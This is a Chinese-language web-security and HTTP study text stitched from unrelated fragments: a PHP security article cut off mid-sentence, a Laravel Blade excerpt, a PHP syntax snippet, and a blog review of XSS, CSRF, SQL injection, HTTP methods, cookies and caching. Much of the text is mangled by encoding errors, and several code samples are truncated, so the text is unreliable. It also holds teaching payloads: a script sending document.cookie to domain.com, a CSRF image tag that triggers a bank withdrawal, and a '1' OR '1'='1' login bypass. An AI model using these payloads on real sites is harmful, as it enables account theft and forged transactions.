PHP安全-編程建議

提供互聯(lián)網(wǎng)服務(wù)，當(dāng)你在開發(fā)代碼的時(shí)候必須時(shí)刻保持安全意識(shí)。可能大部分 PHP 腳本都對(duì)安全問題都不在意，這很大程度上是因?yàn)橛写罅康臒o經(jīng)驗(yàn)程序員在使用這門語(yǔ)言。但是，沒有理由讓你因?yàn)閷?duì)你的代碼的不確定性而導(dǎo)致不一致的安全策略。當(dāng)你在服務(wù)器上放任何涉及到錢的東西時(shí)，就有可能會(huì)有人嘗試破解它。創(chuàng)建一個(gè)論壇程序或者任何形式的購(gòu)物車，被攻擊的可能性就上升到了無窮大。

背景

為了確保你的 web 內(nèi)容安全，這里有一些常規(guī)的安全準(zhǔn)則：

別相信表單

攻擊表單很簡(jiǎn)單。通過使用一個(gè)簡(jiǎn)單的 JavaScript 技巧，你可以限制你的表單只允許在評(píng)分域中填寫 1 到 5 的數(shù)字。如果有人關(guān)閉了他們?yōu)g覽器的 JavaScript 功能或者提交自定義的表單數(shù)據(jù)，你客戶端的驗(yàn)證就失敗了。

用戶主要通過表單參數(shù)和你的腳本交互，因此他們是最大的安全風(fēng)險(xiǎn)。你應(yīng)該學(xué)到什么呢？在 PHP 腳本中，總是要驗(yàn)證傳遞給任何 PHP 腳本的數(shù)據(jù)。在本文中，我們向你演示了如何分析和防范跨站腳本(XSS)攻擊，它可能會(huì)劫持用戶憑據(jù)(甚至更嚴(yán)重)。你也會(huì)看到如何防止會(huì)玷污或毀壞你數(shù)據(jù)的 MySQL 注入攻擊。

別相信用戶

假定你網(wǎng)站獲取的每一份數(shù)據(jù)都充滿了有害的代碼。清理每一部分，即便你相信沒有人會(huì)嘗試攻擊你的站點(diǎn)。

關(guān)閉全局變量

你可能會(huì)有的最大安全漏洞是啟用了 register_globals 配置參數(shù)。幸運(yùn)的是，PHP 4.2 及以后版本默認(rèn)關(guān)閉了這個(gè)配置。如果打開了register_globals，你可以在你的 php.ini 文件中通過改變 register_globals 變量為 Off 關(guān)閉該功能：

register_globals = Off

新手程序員覺得注冊(cè)全局變量很方便，但他們不會(huì)意識(shí)到這個(gè)設(shè)置有多么危險(xiǎn)。一個(gè)啟用了全局變量的服務(wù)器會(huì)自動(dòng)為全局變量賦任何形式的參數(shù)。為了了解它如何工作以及為什么有危險(xiǎn)，讓我們來看一個(gè)例子。

假設(shè)你有一個(gè)稱為 process.php 的腳本，它會(huì)向你的數(shù)據(jù)庫(kù)插入表單數(shù)據(jù)。初始的表單像下面這樣：

name="username" type="text" size="15" maxlength="64">

運(yùn)行 process.php 的時(shí)候，啟用了注冊(cè)全局變量的 PHP 會(huì)將該參數(shù)賦值到 $username 變量。這會(huì)比通過 $_POST['username'] 或$_GET['username'] 訪問它節(jié)省擊鍵次數(shù)。不幸的是，這也會(huì)給你留下安全問題，因?yàn)?PHP 會(huì)設(shè)置該變量的值為通過 GET 或 POST 的參數(shù)發(fā)送到腳本的任何值，如果你沒有顯示地初始化該變量并且你不希望任何人去操作它，這就會(huì)有一個(gè)大問題。

看下面的腳本，假如 $authorized 變量的值為 true，它會(huì)給用戶顯示通過驗(yàn)證的數(shù)據(jù)。正常情況下，只有當(dāng)用戶正確通過了這個(gè)假想的 authenticated_user() 函數(shù)驗(yàn)證，$authorized 變量的值才會(huì)被設(shè)置為真。但是如果你啟用了 register_globals，任何人都可以發(fā)送一個(gè) GET 參數(shù)，例如 authorized=1 去覆蓋它：

php

// Define $authorized = true only if user is authenticated

if (authenticated_user()) {

$authorized = true;

}

這個(gè)故事的寓意是，你應(yīng)該從預(yù)定義的服務(wù)器變量中獲取表單數(shù)據(jù)。所有通過 post 表單傳遞到你 web 頁(yè)面的數(shù)據(jù)都會(huì)自動(dòng)保存到一個(gè)稱為 $_POST 的大數(shù)組中，所有的 GET 數(shù)據(jù)都保存在 $_GET 大數(shù)組中。文件上傳信息保存在一個(gè)稱為 $_FILES 的特殊數(shù)據(jù)中。另外，還有一個(gè)稱為 $_REQUEST 的復(fù)合變量。

除此之外，

PHP 轉(zhuǎn)義實(shí)現(xiàn)

把輸出渲染成網(wǎng)頁(yè)或API響應(yīng)時(shí)，一定要轉(zhuǎn)義輸出，這也是一種防護(hù)措施，能避免渲染惡意代碼，造成XSS攻擊，還能防止應(yīng)用的用戶無意中執(zhí)行惡意代碼。

我們可以使用前面提到的htmlentities函數(shù)轉(zhuǎn)移輸出，該函數(shù)的第二個(gè)參數(shù)一定要使用ENT_QUOTES，讓這個(gè)函數(shù)轉(zhuǎn)義單引號(hào)和雙引號(hào)，而且，還要在第三個(gè)參數(shù)中指定合適的字符編碼(通常是UTF-8)，下面的例子演示了如何在渲染前轉(zhuǎn)義HTML輸出：

';echo htmlentities($output, ENT_QUOTES, ‘UTF-8');

如果不轉(zhuǎn)義直接輸出，會(huì)彈出提示框：

轉(zhuǎn)義之后輸出變成：

現(xiàn)代PHP支持許多模板引擎，這些模板引擎在底層已經(jīng)為了做好了轉(zhuǎn)義處理，比如現(xiàn)在流行的twig/twig和smarty/smarty都會(huì)自動(dòng)轉(zhuǎn)義輸出。這種默認(rèn)處理方式很贊，為PHP Web應(yīng)用提供了有力的安全保障。

Blade 模板引擎避免XSS攻擊原理

Laravel使用的模板引擎是Blade，關(guān)于Blade的使用可以參考其官方文檔，這里我們簡(jiǎn)單探討下Laravel底層如何對(duì)輸出進(jìn)行轉(zhuǎn)義處理。

一般我們?cè)贚aravel中返回視圖內(nèi)容會(huì)這么做：

return view(’test’, [‘data’=>$data]);

這是一個(gè)很簡(jiǎn)單的例子，意味著我們會(huì)在resources/views目錄下找到test.blade.php視圖文件，然后將$data變量傳入其中，并將最終渲染結(jié)果作為響應(yīng)的內(nèi)容返回給用戶。那么這一過程經(jīng)歷了哪些底層源碼的處理，如果$data變量中包含腳本代碼(如JavaScript腳本)，又該怎么去處理呢？接下來我們讓來一窺究竟。

首先我們從輔助函數(shù)view入手，當(dāng)然這里我們也可以使用View:make，但是簡(jiǎn)單起見，我們一般用view函數(shù)，該函數(shù)定義在Illuminate\Foundation\helpers.php文件中：

function view($view = null, $data = [], $mergeData = []){ $factory = app(ViewFactory::class); if (func_num_args() === 0) { return $factory; } return $factory->make($view, $data, $mergeData);}

一.在web頁(yè)面嵌入PHP代碼的幾種風(fēng)格

推薦使用標(biāo)準(zhǔn)風(fēng)格或簡(jiǎn)短風(fēng)格

.代碼如下:

<?php

//標(biāo)準(zhǔn)風(fēng)格

echo 'Hello World!';

注我的微信公眾號(hào)：后端技術(shù)漫談

不定期推送關(guān)于后端開發(fā)、爬蟲、算法題、數(shù)據(jù)結(jié)構(gòu)方面的原創(chuàng)技術(shù)文章，以及生活中的逸聞趣事。

我目前是一名后端開發(fā)工程師。主要關(guān)注后端開發(fā)，數(shù)據(jù)安全，網(wǎng)絡(luò)爬蟲，物聯(lián)網(wǎng)，邊緣計(jì)算等方向。

原創(chuàng)博客主要內(nèi)容

Java知識(shí)點(diǎn)復(fù)習(xí)全手冊(cè)
Leetcode算法題解析
劍指offer算法題解析
SpringCloud菜鳥入門實(shí)戰(zhàn)系列
SpringBoot菜鳥入門實(shí)戰(zhàn)系列
Python爬蟲相關(guān)技術(shù)文章
后端開發(fā)相關(guān)技術(shù)文章

前言

本文快速回顧了常考的的知識(shí)點(diǎn)，用作面試復(fù)習(xí)，事半功倍。

面試知識(shí)點(diǎn)復(fù)習(xí)手冊(cè)

全復(fù)習(xí)手冊(cè)文章導(dǎo)航

Csdn全復(fù)習(xí)手冊(cè)文章導(dǎo)航：

https://blog.csdn.net/qqxx6661/article/details/86775594

已發(fā)布知識(shí)點(diǎn)復(fù)習(xí)手冊(cè)

Java基礎(chǔ)知識(shí)點(diǎn)面試手冊(cè)
Java容器（List、Set、Map）知識(shí)點(diǎn)快速?gòu)?fù)習(xí)手冊(cè)
Java并發(fā)知識(shí)點(diǎn)快速?gòu)?fù)習(xí)手冊(cè)（上）
Java并發(fā)知識(shí)點(diǎn)快速?gòu)?fù)習(xí)手冊(cè)（下）
Java虛擬機(jī)知識(shí)點(diǎn)快速?gòu)?fù)習(xí)手冊(cè)（上）
Java虛擬機(jī)知識(shí)點(diǎn)快速?gòu)?fù)習(xí)手冊(cè)（下）
快速梳理23種常用的設(shè)計(jì)模式
Redis基礎(chǔ)知識(shí)點(diǎn)面試手冊(cè)
Leetcode題解分類匯總（前150題）
面試常問的小算法總結(jié)
查找算法總結(jié)及其部分算法實(shí)現(xiàn)Python/Java
排序算法實(shí)現(xiàn)與總結(jié)Python/Java
HTTP應(yīng)知應(yīng)會(huì)知識(shí)點(diǎn)復(fù)習(xí)手冊(cè)（上）
……等（請(qǐng)查看全復(fù)習(xí)手冊(cè)導(dǎo)航）

本文參考

本文內(nèi)容主要參考來自CyC2018的Github倉(cāng)庫(kù)：CS-Notes

有刪減，修改，補(bǔ)充額外增加內(nèi)容

本作品采用知識(shí)共享署名-非商業(yè)性使用 4.0 國(guó)際許可協(xié)議進(jìn)行許可。

--------------------正文-----------------------

Web 攻擊技術(shù)

跨站腳本攻擊XSS

還可參考：https://blog.csdn.net/lpjishu/article/details/50917092

1. 概念

跨站腳本攻擊（Cross-Site Scripting, XSS），可以將代碼注入到用戶瀏覽的網(wǎng)頁(yè)上，這種代碼包括 HTML 和 JavaScript。

例如有一個(gè)論壇網(wǎng)站，攻擊者可以在上面發(fā)布以下內(nèi)容：

<script>location.href="//domain.com/?c=" + document.cookie</script>

之后該內(nèi)容可能會(huì)被渲染成以下形式：

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

另一個(gè)用戶瀏覽了含有這個(gè)內(nèi)容的頁(yè)面將會(huì)跳轉(zhuǎn)到 domain.com 并攜帶了當(dāng)前作用域的 Cookie。如果這個(gè)論壇網(wǎng)站通過 Cookie 管理用戶登錄狀態(tài)，那么攻擊者就可以通過這個(gè) Cookie 登錄被攻擊者的賬號(hào)了。

2. 危害

竊取用戶的 Cookie 值
偽造虛假的輸入表單騙取個(gè)人信息
顯示偽造的文章或者圖片

3. 防范手段

（一）設(shè)置 Cookie 為 HttpOnly

設(shè)置了 HttpOnly 的 Cookie 可以防止 JavaScript 腳本調(diào)用，在一定程度上可以防止 XSS 竊取用戶的 Cookie 信息。

（二）過濾特殊字符

許多語(yǔ)言都提供了對(duì) HTML 的過濾：

PHP 的 htmlentities() 或是 htmlspecialchars()。
Python 的 cgi.escape()。
Java 的 xssprotect (Open Source Library)。
Node.js 的 node-validator。

例如 htmlspecialchars() 可以將 < 轉(zhuǎn)義為 <，將 > 轉(zhuǎn)義為 >，從而避免 HTML 和 Javascript 代碼的運(yùn)行。

（三）富文本編輯器的處理

富文本編輯器允許用戶輸入 HTML 代碼，就不能簡(jiǎn)單地將 < 等字符進(jìn)行過濾了，極大地提高了 XSS 攻擊的可能性。

富文本編輯器通常采用 XSS filter 來防范 XSS 攻擊，可以定義一些標(biāo)簽白名單或者黑名單，從而不允許有攻擊性的 HTML 代碼的輸入。

以下例子中，form 和 script 等標(biāo)簽都被轉(zhuǎn)義，而 h 和 p 等標(biāo)簽將會(huì)保留。

XSS 過濾在線測(cè)試

跨站請(qǐng)求偽造CSRF

XSS 利用的是用戶對(duì)指定網(wǎng)站的信任，CSRF 利用的是網(wǎng)站對(duì)用戶瀏覽器的信任。

1. 概念

跨站請(qǐng)求偽造（Cross-site request forgery，CSRF），是攻擊者通過一些技術(shù)手段欺騙用戶的瀏覽器去訪問一個(gè)自己曾經(jīng)認(rèn)證過的網(wǎng)站并執(zhí)行一些操作（如發(fā)郵件，發(fā)消息，甚至財(cái)產(chǎn)操作如轉(zhuǎn)賬和購(gòu)買商品）。由于瀏覽器曾經(jīng)認(rèn)證過，所以被訪問的網(wǎng)站會(huì)認(rèn)為是真正的用戶操作而去執(zhí)行。這利用了 Web 中用戶身份驗(yàn)證的一個(gè)漏洞：簡(jiǎn)單的身份驗(yàn)證只能保證請(qǐng)求發(fā)自某個(gè)用戶的瀏覽器，卻不能保證請(qǐng)求本身是用戶自愿發(fā)出的。

假如一家銀行用以執(zhí)行轉(zhuǎn)賬操作的 URL 地址如下：

http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。

那么，一個(gè)惡意攻擊者可以在另一個(gè)網(wǎng)站上放置如下代碼：

<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。

如果有賬戶名為 Alice 的用戶訪問了惡意站點(diǎn)，而她之前剛訪問過銀行不久，登錄信息尚未過期，那么她就會(huì)損失 1000 資金。

這種惡意的網(wǎng)址可以有很多種形式，藏身于網(wǎng)頁(yè)中的許多地方。此外，攻擊者也不需要控制放置惡意網(wǎng)址的網(wǎng)站。例如他可以將這種地址藏在論壇，博客等任何用戶生成內(nèi)容的網(wǎng)站中。這意味著如果服務(wù)器端沒有合適的防御措施的話，用戶即使訪問熟悉的可信網(wǎng)站也有受攻擊的危險(xiǎn)。

透過例子能夠看出，攻擊者并不能通過 CSRF 攻擊來直接獲取用戶的賬戶控制權(quán)，也不能直接竊取用戶的任何信息。他們能做到的，是欺騙用戶瀏覽器，讓其以用戶的名義執(zhí)行操作。

2. 防范手段

（一）檢查 Referer 字段

HTTP 頭中有一個(gè) Referer 字段，這個(gè)字段用于標(biāo)明請(qǐng)求來源于哪個(gè)地址。在處理敏感數(shù)據(jù)請(qǐng)求時(shí)，通常來說，Referer 字段應(yīng)和請(qǐng)求的地址位于同一域名下，但并無法保證來訪的瀏覽器的具體實(shí)現(xiàn)，亦無法保證瀏覽器沒有安全漏洞影響到此字段。并且也存在攻擊者攻擊某些瀏覽器，篡改其 Referer 字段的可能。

（二）添加校驗(yàn) Token

由于 CSRF 的本質(zhì)在于攻擊者欺騙用戶去訪問自己設(shè)置的地址，所以如果要求在訪問敏感數(shù)據(jù)請(qǐng)求時(shí)，要求用戶瀏覽器提供不保存在 Cookie 中，并且攻擊者無法偽造的數(shù)據(jù)作為校驗(yàn)，那么攻擊者就無法再執(zhí)行 CSRF 攻擊。這種數(shù)據(jù)通常是表單中的一個(gè)數(shù)據(jù)項(xiàng)。服務(wù)器將其生成并附加在表單中，其內(nèi)容是一個(gè)偽亂數(shù)。當(dāng)客戶端通過表單提交請(qǐng)求時(shí)，這個(gè)偽亂數(shù)也一并提交上去以供校驗(yàn)。

正常的訪問時(shí)，客戶端瀏覽器能夠正確得到并傳回這個(gè)偽亂數(shù)，而通過 CSRF 傳來的欺騙性攻擊中，攻擊者無從事先得知這個(gè)偽亂數(shù)的值，服務(wù)器端就會(huì)因?yàn)樾ｒ?yàn) Token 的值為空或者錯(cuò)誤，拒絕這個(gè)可疑請(qǐng)求。

（三）要求用戶輸入驗(yàn)證碼來進(jìn)行校驗(yàn)。

SQL 注入攻擊

1. 概念

服務(wù)器上的數(shù)據(jù)庫(kù)運(yùn)行非法的 SQL 語(yǔ)句，主要通過拼接來完成。

2. 攻擊原理

例如一個(gè)網(wǎng)站登錄驗(yàn)證的 SQL 查詢代碼為：

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

如果填入以下內(nèi)容：

userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";

那么 SQL 查詢字符串為：

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

此時(shí)無需驗(yàn)證通過就能執(zhí)行以下查詢：

strSQL = "SELECT * FROM users;"

3. 防范手段

（一）使用參數(shù)化查詢（不進(jìn)行拼接）

以下以 Java 中的 PreparedStatement 為例，它是預(yù)先編譯的 SQL 語(yǔ)句，可以傳入適當(dāng)參數(shù)并且多次執(zhí)行。由于沒有拼接的過程，因此可以防止 SQL 注入的發(fā)生。

PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

（二）單引號(hào)轉(zhuǎn)換

將傳入的參數(shù)中的單引號(hào)轉(zhuǎn)換為連續(xù)兩個(gè)單引號(hào)

（三）檢查變量數(shù)據(jù)類型和格式

拒絕服務(wù)攻擊

拒絕服務(wù)攻擊（denial-of-service attack，DoS），亦稱洪水攻擊，其目的在于使目標(biāo)電腦的網(wǎng)絡(luò)或系統(tǒng)資源耗盡，使服務(wù)暫時(shí)中斷或停止，導(dǎo)致其正常用戶無法訪問。

分布式拒絕服務(wù)攻擊（distributed denial-of-service attack，DDoS），指攻擊者使用網(wǎng)絡(luò)上兩個(gè)或以上被攻陷的電腦作為“僵尸”向特定的目標(biāo)發(fā)動(dòng)“拒絕服務(wù)”式攻擊。

維基百科：拒絕服務(wù)攻擊

基礎(chǔ)概念

URI

URI 包含 URL 和 URN。

URI（Uniform Resource Identifier，統(tǒng)一資源標(biāo)識(shí)符）
URL（Uniform Resource Locator，統(tǒng)一資源定位符）
URN（Uniform Resource Name，統(tǒng)一資源名稱）

在這里插入圖片描述

HTTP請(qǐng)求報(bào)文和HTTP響應(yīng)報(bào)文

HTTP請(qǐng)求報(bào)文

一個(gè)HTTP請(qǐng)求報(bào)文由請(qǐng)求行（request line）、請(qǐng)求頭部（header）、空行和請(qǐng)求數(shù)據(jù)4個(gè)部分組成，下圖給出了請(qǐng)求報(bào)文的一般格式。

＜request-line＞ 請(qǐng)求行
＜headers＞ 請(qǐng)求頭
＜blank line＞ 空格
＜request-body＞ 請(qǐng)求數(shù)據(jù)

在這里插入圖片描述

HTTP響應(yīng)報(bào)文

HTTP響應(yīng)也由三個(gè)部分組成，分別是：狀態(tài)行、消息報(bào)頭、響應(yīng)正文。

＜status-line＞
＜headers＞
＜blank line＞
＜response-body＞

在這里插入圖片描述

GET

獲取資源

當(dāng)前網(wǎng)絡(luò)請(qǐng)求中，絕大部分使用的是 GET 方法。

HEAD

獲取報(bào)文首部

和 GET 方法一樣，但是不返回報(bào)文實(shí)體主體部分。

主要用于確認(rèn) URL 的有效性以及資源更新的日期時(shí)間等。

POST

傳輸實(shí)體主體

POST 主要用來傳輸數(shù)據(jù)，而 GET 主要用來獲取資源。

更多 POST 與 GET 的比較請(qǐng)見第八章。

PUT

上傳文件

由于自身不帶驗(yàn)證機(jī)制，任何人都可以上傳文件，因此存在安全性問題，一般不使用該方法

PATCH

對(duì)資源進(jìn)行部分修改

PUT 也可以用于修改資源，但是只能完全替代原始資源，PATCH 允許部分修改。

DELETE

刪除文件

與 PUT 功能相反，并且同樣不帶驗(yàn)證機(jī)制。

DELETE /file.html HTTP/1.1

OPTIONS

查詢支持的方法

查詢指定的 URL 能夠支持的方法。

會(huì)返回 Allow: GET, POST, HEAD, OPTIONS 這樣的內(nèi)容。

CONNECT

要求用隧道協(xié)議連接代理

要求在與代理服務(wù)器通信時(shí)建立隧道，使用 SSL（Secure Sockets Layer，安全套接層）和 TLS（Transport Layer Security，傳輸層安全）協(xié)議把通信內(nèi)容加密后經(jīng)網(wǎng)絡(luò)隧道傳輸。

在這里插入圖片描述

TRACE

追蹤路徑

服務(wù)器會(huì)將通信路徑返回給客戶端。

發(fā)送請(qǐng)求時(shí)，在 Max-Forwards 首部字段中填入數(shù)值，每經(jīng)過一個(gè)服務(wù)器就會(huì)減 1，當(dāng)數(shù)值為 0 時(shí)就停止傳輸。

通常不會(huì)使用 TRACE，并且它容易受到 XST 攻擊（Cross-Site Tracing，跨站追蹤），因此更不會(huì)去使用它。

HTTP Header

有 4 種類型的首部字段：通用首部字段、請(qǐng)求首部字段、響應(yīng)首部字段和實(shí)體首部字段。

各種首部字段及其含義如下（不需要全記，僅供查閱）：

通用首部字段

首部字段名 說明 Cache-Control 控制緩存的行為 Connection 控制不再轉(zhuǎn)發(fā)給代理的首部字段、管理持久連接 Date 創(chuàng)建報(bào)文的日期時(shí)間 Pragma 報(bào)文指令 Trailer 報(bào)文末端的首部一覽 Transfer-Encoding 指定報(bào)文主體的傳輸編碼方式 Upgrade 升級(jí)為其他協(xié)議 Via 代理服務(wù)器的相關(guān)信息 Warning 錯(cuò)誤通知

請(qǐng)求首部字段

首部字段名 說明 Accept 用戶代理可處理的媒體類型 Accept-Charset 優(yōu)先的字符集 Accept-Encoding 優(yōu)先的內(nèi)容編碼 Accept-Language 優(yōu)先的語(yǔ)言（自然語(yǔ)言） Authorization Web 認(rèn)證信息 Expect 期待服務(wù)器的特定行為 From 用戶的電子郵箱地址 Host 請(qǐng)求資源所在服務(wù)器 If-Match 比較實(shí)體標(biāo)記（ETag） If-Modified-Since 比較資源的更新時(shí)間 If-None-Match 比較實(shí)體標(biāo)記（與 If-Match 相反） If-Range 資源未更新時(shí)發(fā)送實(shí)體 Byte 的范圍請(qǐng)求 If-Unmodified-Since 比較資源的更新時(shí)間（與 If-Modified-Since 相反） Max-Forwards 最大傳輸逐跳數(shù) Proxy-Authorization 代理服務(wù)器要求客戶端的認(rèn)證信息 Range 實(shí)體的字節(jié)范圍請(qǐng)求 Referer 對(duì)請(qǐng)求中 URI 的原始獲取方 TE 傳輸編碼的優(yōu)先級(jí) User-Agent HTTP 客戶端程序的信息

響應(yīng)首部字段

首部字段名 說明 Accept-Ranges 是否接受字節(jié)范圍請(qǐng)求 Age 推算資源創(chuàng)建經(jīng)過時(shí)間 ETag 資源的匹配信息 Location 令客戶端重定向至指定 URI Proxy-Authenticate 代理服務(wù)器對(duì)客戶端的認(rèn)證信息 Retry-After 對(duì)再次發(fā)起請(qǐng)求的時(shí)機(jī)要求 Server HTTP 服務(wù)器的安裝信息 Vary 代理服務(wù)器緩存的管理信息 WWW-Authenticate 服務(wù)器對(duì)客戶端的認(rèn)證信息

實(shí)體首部字段

首部字段名 說明 Allow 資源可支持的 HTTP 方法 Content-Encoding 實(shí)體主體適用的編碼方式 Content-Language 實(shí)體主體的自然語(yǔ)言 Content-Length 實(shí)體主體的大小 Content-Location 替代對(duì)應(yīng)資源的 URI Content-MD5 實(shí)體主體的報(bào)文摘要 Content-Range 實(shí)體主體的位置范圍 Content-Type 實(shí)體主體的媒體類型 Expires 實(shí)體主體過期的日期時(shí)間 Last-Modified 資源的最后修改日期時(shí)間

具體應(yīng)用

Cookie

HTTP/1.1 引入 Cookie 來保存狀態(tài)信息。

1. 用途

會(huì)話狀態(tài)管理（如用戶登錄狀態(tài)、購(gòu)物車、游戲分?jǐn)?shù)或其它需要記錄的信息）
個(gè)性化設(shè)置（如用戶自定義設(shè)置、主題等）
瀏覽器行為跟蹤（如跟蹤分析用戶行為等）

由于服務(wù)器指定 Cookie 后，瀏覽器的每次請(qǐng)求都會(huì)攜帶 Cookie 數(shù)據(jù)，會(huì)帶來額外的性能開銷（尤其是在移動(dòng)環(huán)境下）。

新的瀏覽器 API 已經(jīng)允許開發(fā)者直接將數(shù)據(jù)存儲(chǔ)到本地，如使用 Web storage API （本地存儲(chǔ)和會(huì)話存儲(chǔ)）或 IndexedDB。

2. 創(chuàng)建過程

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

客戶端之后對(duì)同一個(gè)服務(wù)器發(fā)送請(qǐng)求時(shí)，會(huì)從瀏覽器中取出 Cookie 信息并通過 Cookie 請(qǐng)求首部字段發(fā)送給服務(wù)器。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

3. 分類

會(huì)話期 Cookie：瀏覽器關(guān)閉之后它會(huì)被自動(dòng)刪除，也就是說它僅在會(huì)話期內(nèi)有效。
持久性 Cookie：指定一個(gè)特定的過期時(shí)間（Expires）或有效期（Max-Age）之后就成為了持久性的 Cookie。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

4. 作用域

Domain 標(biāo)識(shí)指定了哪些主機(jī)可以接受 Cookie。如果不指定，默認(rèn)為當(dāng)前文檔的主機(jī)（不包含子域名）。如果指定了 Domain，則一般包含子域名。例如，如果設(shè)置 Domain=mozilla.org，則 Cookie 也包含在子域名中（如 developer.mozilla.org）。

Path 標(biāo)識(shí)指定了主機(jī)下的哪些路徑可以接受 Cookie（該 URL 路徑必須存在于請(qǐng)求 URL 中）。以字符 %x2F ("/") 作為路徑分隔符，子路徑也會(huì)被匹配。例如，設(shè)置 Path=/docs，則以下地址都會(huì)匹配：

/docs
/docs/Web/
/docs/Web/HTTP

5. JavaScript

通過 Document.cookie 屬性可創(chuàng)建新的 Cookie，也可通過該屬性訪問非 HttpOnly 標(biāo)記的 Cookie。

document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);

6. Secure 和 HttpOnly

標(biāo)記為 Secure 的 Cookie 只應(yīng)通過被 HTTPS 協(xié)議加密過的請(qǐng)求發(fā)送給服務(wù)端。但即便設(shè)置了 Secure 標(biāo)記，敏感信息也不應(yīng)該通過 Cookie 傳輸，因?yàn)?Cookie 有其固有的不安全性，Secure 標(biāo)記也無法提供確實(shí)的安全保障。
標(biāo)記為 HttpOnly 的 Cookie 不能被 JavaScript 腳本調(diào)用。因?yàn)榭缬蚰_本 (XSS) 攻擊常常使用 JavaScript 的 Document.cookie API 竊取用戶的 Cookie 信息，因此使用 HttpOnly 標(biāo)記可以在一定程度上避免 XSS 攻擊。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

7. Session和cookie選擇

除了可以將用戶信息通過 Cookie 存儲(chǔ)在用戶瀏覽器中，也可以利用 Session 存儲(chǔ)在服務(wù)器端，存儲(chǔ)在服務(wù)器端的信息更加安全。

Session 可以存儲(chǔ)在服務(wù)器上的文件、數(shù)據(jù)庫(kù)或者內(nèi)存中。也可以將 Session 存儲(chǔ)在 Redis 這種內(nèi)存型數(shù)據(jù)庫(kù)中，效率會(huì)更高。

使用 Session 維護(hù)用戶登錄狀態(tài)的過程如下：

用戶進(jìn)行登錄時(shí)，用戶提交包含用戶名和密碼的表單，放入 HTTP 請(qǐng)求報(bào)文中；
服務(wù)器驗(yàn)證該用戶名和密碼，如果正確則把用戶信息存儲(chǔ)到 Redis 中，它在 Redis 中的 Key 稱為 Session ID；
服務(wù)器返回的響應(yīng)報(bào)文的 Set-Cookie 首部字段包含了這個(gè) Session ID，客戶端收到響應(yīng)報(bào)文之后將該 Cookie 值存入瀏覽器中；
客戶端之后對(duì)同一個(gè)服務(wù)器進(jìn)行請(qǐng)求時(shí)會(huì)包含該 Cookie 值，服務(wù)器收到之后提取出 Session ID，從 Redis 中取出用戶信息，繼續(xù)之前的業(yè)務(wù)操作。

應(yīng)該注意 Session ID 的安全性問題，不能讓它被惡意攻擊者輕易獲取，那么就不能產(chǎn)生一個(gè)容易被猜到的 Session ID 值。此外，還需要經(jīng)常重新生成 Session ID。在對(duì)安全性要求極高的場(chǎng)景下，例如轉(zhuǎn)賬等操作，除了使用 Session 管理用戶狀態(tài)之外，還需要對(duì)用戶進(jìn)行重新驗(yàn)證，比如重新輸入密碼，或者使用短信驗(yàn)證碼等方式。

從存儲(chǔ)方式上比較 Cookie只能存儲(chǔ)字符串，如果要存儲(chǔ)非ASCII字符串還要對(duì)其編碼。 Session可以存儲(chǔ)任何類型的數(shù)據(jù)，可以把Session看成是一個(gè)容器
從隱私安全上比較 Cookie存儲(chǔ)在瀏覽器中，對(duì)客戶端是可見的。信息容易泄露出去。如果使用Cookie，最好將Cookie加密 Session存儲(chǔ)在服務(wù)器上，對(duì)客戶端是透明的。不存在敏感信息泄露問題。
從有效期上比較 Cookie保存在硬盤中，只需要設(shè)置maxAge屬性為比較大的正整數(shù)，即使關(guān)閉瀏覽器，Cookie還是存在的 Session的保存在服務(wù)器中，設(shè)置maxInactiveInterval屬性值來確定Session的有效期。并且Session依賴于名為JSESSIONID的Cookie，該Cookie默認(rèn)的maxAge屬性為-1。如果關(guān)閉了瀏覽器，該Session雖然沒有從服務(wù)器中消亡，但也就失效了。
從對(duì)服務(wù)器的負(fù)擔(dān)比較 Session是保存在服務(wù)器的，每個(gè)用戶都會(huì)產(chǎn)生一個(gè)Session，如果是并發(fā)訪問的用戶非常多，是不能使用Session的，Session會(huì)消耗大量的內(nèi)存。 Cookie是保存在客戶端的。不占用服務(wù)器的資源。像baidu、Sina這樣的大型網(wǎng)站，一般都是使用Cookie來進(jìn)行會(huì)話跟蹤。
從瀏覽器的支持上比較如果瀏覽器禁用了Cookie，那么Cookie是無用的了！如果瀏覽器禁用了Cookie，Session可以通過URL地址重寫來進(jìn)行會(huì)話跟蹤。
從跨域名上比較 Cookie可以設(shè)置domain屬性來實(shí)現(xiàn)跨域名 Session只在當(dāng)前的域名內(nèi)有效，不可夸域名

緩存

1. 優(yōu)點(diǎn)

緩解服務(wù)器壓力；
減低客戶端獲取資源的延遲（緩存資源比服務(wù)器上的資源離客戶端更近）。

2. 實(shí)現(xiàn)方法

讓代理服務(wù)器進(jìn)行緩存；
讓客戶端瀏覽器進(jìn)行緩存。

3. Cache-Control

HTTP/1.1 通過 Cache-Control 首部字段來控制緩存。

（一）禁止進(jìn)行緩存

no-store 指令規(guī)定不能對(duì)請(qǐng)求或響應(yīng)的任何一部分進(jìn)行緩存。

Cache-Control: no-store

（二）強(qiáng)制確認(rèn)緩存

no-cache 指令規(guī)定緩存服務(wù)器需要先向源服務(wù)器驗(yàn)證緩存資源的有效性，只有當(dāng)緩存資源有效才將能使用該緩存對(duì)客戶端的請(qǐng)求進(jìn)行響應(yīng)。

Cache-Control: no-cache

（三）私有緩存和公共緩存

private 指令規(guī)定了將資源作為私有緩存，只能被單獨(dú)用戶所使用，一般存儲(chǔ)在用戶瀏覽器中。

Cache-Control: private

public 指令規(guī)定了將資源作為公共緩存，可以被多個(gè)用戶所使用，一般存儲(chǔ)在代理服務(wù)器中。

Cache-Control: public

（四）緩存過期機(jī)制

